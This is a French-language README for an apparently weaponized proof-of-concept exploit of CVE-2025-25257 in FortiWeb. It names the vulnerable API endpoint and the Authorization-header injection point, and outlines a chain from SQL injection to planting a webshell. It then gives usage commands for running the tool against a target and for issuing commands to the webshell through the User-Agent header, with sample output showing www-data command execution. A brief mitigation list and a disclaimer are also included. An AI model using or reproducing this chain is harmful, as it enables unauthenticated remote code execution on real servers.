🚨 CVE-2025-25257 – FortiWeb SQLi vers RCE

Injection SQL critique → Exécution de webshell

Découvert et armé par 0xgh057r3c0n

🧠 Aperçu de la vulnérabilité

CVE-2025-25257 affecte les systèmes FortiWeb exposant le point d'accès /api/fabric/device/status, qui ne nettoie pas correctement l'entrée de l'en-tête Authorization.

Un attaquant peut effectuer une injection SQL non authentifiée pour écrire un webshell sur le serveur et exécuter des commandes à distance.

💥 Déroulement de l'attaque

SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE

📍 Point d'accès vulnérable

GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>

🔓 Fonctionnalités de l'exploit

• SQLi via le jeton Bearer
• SQL INTO OUTFILE pour déposer un shell
• Le hook Python déclenche chmod
• Commandes exécutées via User-Agent
• PoC entièrement automatisé

🧪 Utilisation

python3 CVE-2025-25257.py -t https://target-host.com

Puis :

curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi

🔧 Prérequis

• Python 3.6+
• Module requests

Installation :

pip install requests

📤 Exemple de sortie

[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)

[+] Webshell Ready:
    > https://target-host.com/cgi-bin/x.cgi
    > Send commands via User-Agent header

📊 Estimation CVSS

🛡️ Atténuation

• Mettre à jour le firmware FortiWeb (si un correctif est disponible)
• Nettoyer toutes les entrées des en-têtes
• Restreindre les chemins d'écriture de fichiers et l'exécution CGI

👨‍💻 Auteur

0xgh057r3c0n 🔗 github.com/0xgh057r3c0n

⚠️ Avertissement

Cette preuve de concept est destinée uniquement à des fins éducatives et de tests autorisés. Utilisez-la à vos risques et périls. L'auteur n'est pas responsable d'une mauvaise utilisation.